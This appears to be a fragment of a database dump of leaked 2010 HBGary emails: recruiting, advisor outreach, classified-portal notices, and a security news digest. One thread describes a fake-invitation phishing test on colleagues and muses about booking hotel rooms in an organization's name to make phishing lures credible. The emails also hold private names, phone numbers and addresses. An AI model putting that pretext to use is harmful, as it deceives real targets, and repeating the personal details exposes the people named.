teams, what he would not want you to do was do something that was detrimental to the mission, like what your current leadership is doing by using fear and intimidation. &nbsp;Your upper management knows how this drill works if your current ignorant local management doesn\'t. &nbsp;You always try to recruit key personnel form the incumbent to lower risk. &nbsp;Kathy and Dale have done that a 100 times. &nbsp;Your management is using fear and intimidation to try and keep people form talking with us and it is just sickening. &nbsp;Is SAIC/NG that insecure in their offering that is what they have to resort to? &nbsp;Following people to lunch, as if those people have no right to talk with me or Ted! &nbsp;It makes me very angry the position they are putting you all in. &nbsp;Bottom line I am going to win this contract and if you had a chance to see my team and strategy you would agree. &nbsp;Remember its not about size, its about innovation and focus on delivering the best capability for the customer.You know me, you know what I am capable of, you also know your current team and its position with the customer. &nbsp;I can only imagine what they might tell you. &nbsp;I am not sure if you are aware but I have my badge back and speak with the customer regularly. &nbsp;I feel confident I know better than anyone how to make their mission more successful and how to tell that story in the proposal.It is your choice. &nbsp;If you are still interested I will have a confidentiality agreement and contingent offer in your inbox by monday. &nbsp;This will secure you a leadership position on this amazing team (you will be amazed at this team). &nbsp;If I don\'t hear from you I will assume that I have missed my window and I will look elsewhere to fill the position. &nbsp;If I do hear from you we can exchange documents and we do not need to really communicate past that unless you want to. &nbsp;I am very sorry for your situation. &nbsp;I won\'t send you another email after this one unless requested.Aaron it has been a pleasure to work with you, and I truly wish you the best.AaronP.S. &nbsp;Greg and I are working on a game that takes advantage of location, social, and virtual. &nbsp;He has a developer and artist working some of the first pieces now. &nbsp;Hopefully that will grow. &nbsp;its a great concept.',2385,'aaron_hbgary_com/2385.html'),(12053,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008969.M553492P14101Q6909.eml','\"Robert Frisbie\" <Robert.Frisbie@ManTech.com>','Favor to ask','Do you have a STU in your facility I could use for a few minutes?\r\n\r\nAaron',12309,'aaron_hbgary_com/12309.html'),(12054,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008969.M71007P14101Q6907.eml','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','Re: Disney Discussions','Hi Scott,\r\n\r\nChanges in line.  \r\n\r\n> Our government recognizes they need to more effectively embrace and use new\r\n> media technologies such as ways they can more effectively deliver messages\r\n> to specific audiences using new media.\r\n> \r\n> HBGary is bringing together a list of large successful companies (Apple,\r\n> Google) in this space as advisors, as well as, a list of small successful\r\n> companies like PointAbout, inc. to help the government with the task.  We\r\n> would like to include Disney on the list of advisors.\r\n> \r\n> The work will include the occasional meeting to discuss new ideas,\r\n> challenges, and to get feedback or advice that might help specific government customer\r\n> more successfully achieve their goals.\r\n> \r\n> Disney\'s value add would be providing insight into the creative development process, experience on successes for developing for target markets, and successful uses of new media technologies.\r\n> \r\n> Would Disney be interested in discussing the opportunity with HBGary? \r\n\r\n\r\nThanks,\r\nAaron\r\n\r\n\r\nOn Sep 16, 2010, at 3:19 PM, Scott Suhy wrote:\r\n\r\n> How about something more like this.   I don\'t want to put them in a place\r\n> where they are being used for their name (\"There will be little if any\r\n> work\").  There has to be a value add for them (need to fill in blanks\r\n> below).\r\n> \r\n> \r\n> Our government (XYZ Customer) is in the process of planning to embrace new\r\n> media technologies such as ways they can more effectively deliver messages\r\n> to specific audiences using new media.\r\n> \r\n> HBGary is bringing together a list of large successful companies (Apple,\r\n> Google) in this space as advisors, as well as, a list of small successful\r\n> companies like PointAbout, inc. to help the government with the task.  We\r\n> would like to include Disney on the list of advisors.\r\n> \r\n> The work will include the occasional meeting to discuss new ideas,\r\n> challenges, and to get feedback or advice that might help (XYZ Customer)\r\n> more successfully achieve their goals.\r\n> \r\n> Disney\'s value add would be ().\r\n> \r\n> Would Disney be interested in discussing the opportunity with HBGary? \r\n> \r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n> skype:scott.suhy \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, September 16, 2010 1:54 PM\r\n> To: Scott Suhy\r\n> Subject: Disney Discussions\r\n> \r\n> Scott,\r\n> \r\n> Let me know if this doesn\'t read right...\r\n> \r\n> Basically in many different areas of the government there is a need to\r\n> embrace new media technologies.  In the area that I am pursuing I am looking\r\n> at ways the government can more effectively deliver messages to specific\r\n> audiences using new media.  I am working to develop a small list of large\r\n> successful companies in this space as advisors in helping, likewise I am\r\n> building a short list of small successful companies that will help me\r\n> execute.  There will be little if any work required  once on contract other\r\n> than to on occasion meet with us to discuss new ideas, challenges, and to\r\n> get feedback or advice that might help us more successfully achieve our\r\n> goals.\r\n> \r\n> We are currently in proposal phase and would like to discuss the possibility\r\n> of putting Disney on our team of advisors.  I would like to meet with\r\n> someone that is strategically focused and if possible posses government\r\n> clearances.\r\n> \r\n> Thank You,\r\n> Aaron\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.851 / Virus Database: 271.1.1/3136 - Release Date: 09/16/10\r\n> 02:34:00\r\n> \r\n\r\n',13995,'aaron_hbgary_com/13995.html'),(12055,'2010-09-20','arc@westfields.net','/aaron@hbgary.com/new/1297008969.M791762P14101Q6910.eml','federal@hbgary.com','SE / Graystone Announcement Posting','\r\nAn announcement has been posted on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5665,'aaron_hbgary_com/5665.html'),(12056,'2010-09-20','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297008970.M228310P14101Q6912.eml','\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>','Fw: Favor to ask','Can you help Aaron?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Monday, September 20, 2010 02:21 PM\r\nTo: Frisbie, Robert P\r\nSubject: Favor to ask\r\n\r\nDo you have a STU in your facility I could use for a few minutes?\r\n\r\nAaron\r\n',8874,'aaron_hbgary_com/8874.html'),(12057,'2010-09-20','arc@westfields.net','/aaron@hbgary.com/new/1297008970.M3287P14101Q6911.eml','federal@hbgary.com','Caprica CBL document posting','\r\nContractor Bidder\'s Library (CBL) documents have been posted on the NRO-Caprica effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select Caprica from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',14231,'aaron_hbgary_com/14231.html'),(12058,'2010-09-20','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008970.M448699P14101Q6913.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Scout','Aaron,\r\nThe Scout is ready. Jon can facilitate pickup.\r\nMary\r\n\r\nSent from my mobile--excuse typos or brevity\r\n',1107,'aaron_hbgary_com/1107.html'),(12059,'2010-09-20','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297008970.M686688P14101Q6914.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Invitation','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThat is awesome… ;)  I love that attack vector….  Great freakin\r\nidea…  lol\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 16, 2010 2:38 PM\r\nTo: Greg Hoglund\r\nCc: Rich Cummings; Phil Wallisch; Matt Standart; Ted Vera\r\nSubject: Re: Invitation\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nah sorry guys.  I sent an email right after the evite\r\nletting you know it was me, but on afterthought probably should have warned you\r\nahead of time....  again sorry for the flail, I&#39;ll be more careful.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIts a good attack vector though.  I will be including\r\nit in my social media pen testing bag of trix.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 16, 2010, at 2:10 PM, Greg Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou fucker Aaron, I just wasted some of shawn&#39;s time\r\nbecause you didn&#39;t heads up me on your little stunt.\r\n\r\n\r\n\r\n\r\n\r\n-G\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Thu, Sep 16, 2010 at 9:16 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nOK so I called the hotel and verified there is an event\r\nreserved on the date in question from that organization.  But I went to\r\nthe organization website and on their calendar no event is scheduled.  I\r\nam just thinking about an elaborate phishing scheme and methods to increase the\r\nprobability of success.  Reserving a room in the name of the organization\r\n(no ID required) while elaborate, would help.  In the end the latent\r\nbenefit from all of this is weakening our trust in just about everything we\r\ntouch.\r\n\r\nAaron\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15011,'aaron_hbgary_com/15011.html'),(12060,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008970.M924144P14101Q6915.eml','\"Frisbie, Robert P\" <Robert.Frisbie@mantech.com>,\"Frisbie, Robert P\" <Robert.Frisbie@mantech.com>','Re: Favor to ask','Thank you.\r\n\r\nThat was a big help.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 20, 2010, at 2:31 PM, \"Frisbie, Robert P\"\r\n wrote:\r\n\r\n> Can you help Aaron?\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, September 20, 2010 02:21 PM\r\n> To: Frisbie, Robert P\r\n> Subject: Favor to ask\r\n>\r\n> Do you have a STU in your facility I could use for a few minutes?\r\n>\r\n> Aaron\r\n',6313,'aaron_hbgary_com/6313.html'),(12061,'2010-09-20','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008971.M143075P14101Q6916.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: EXTERNAL:ISN Digest, Vol 53, Issue 12','Look at 4\r\n\r\n-----Original Message-----\r\nFrom: isn-bounces@infosecnews.org [mailto:isn-bounces@infosecnews.org] On Behalf Of isn-request@infosecnews.org\r\nSent: Monday, September 20, 2010 11:00 AM\r\nTo: isn@infosecnews.org\r\nSubject: EXTERNAL:ISN Digest, Vol 53, Issue 12\r\n\r\nSend ISN mailing list submissions to\r\n	isn@infosecnews.org\r\n\r\nTo subscribe or unsubscribe via the World Wide Web, visit\r\n	http://www.infosecnews.org/mailman/listinfo/isn\r\nor, via email, send a message with subject or body \'help\' to\r\n	isn-request@infosecnews.org\r\n\r\nYou can reach the person managing the list at\r\n	isn-owner@infosecnews.org\r\n\r\nWhen replying, please edit your Subject line so it is more specific\r\nthan \"Re: Contents of ISN digest...\"\r\n\r\n\r\nToday\'s Topics:\r\n\r\n   1. Cyberattacks suspected on Defense Ministry,	police agency\r\n      websites (InfoSec News)\r\n   2. MI5 chief: Cyber spying \'relatively straightforward\' to beat \r\n      (InfoSec News)\r\n   3. MfD: BIS offers \"tax-free money\" for encryption system \r\n      (InfoSec News)\r\n   4. Cyber-criminals steal identity of one of the world\'s top\r\n      security chiefs using Facebook  (InfoSec News)\r\n   5. ACCU/Bletchley Autumn Lectures 2010   (InfoSec News)\r\n\r\n\r\n----------------------------------------------------------------------\r\n\r\nMessage: 1\r\nDate: Mon, 20 Sep 2010 00:45:42 -0500 (CDT)\r\nFrom: InfoSec News \r\nSubject: [ISN] Cyberattacks suspected on Defense Ministry,	police\r\n	agency websites\r\nTo: isn@infosecnews.org\r\nMessage-ID:\r\n	\r\nContent-Type: text/plain; charset=\"utf-8\"\r\n\r\nhttp://www.japantoday.com/category/crime/view/cyberattacks-suspected-on-defense-ministry-police-agency-websites\r\n\r\nJapan Today\r\n19th September 2010\r\n\r\nTOKYO -- The Defense Ministry and the National Police Agency possibly \r\ncame under cyberattacks between Wednesday 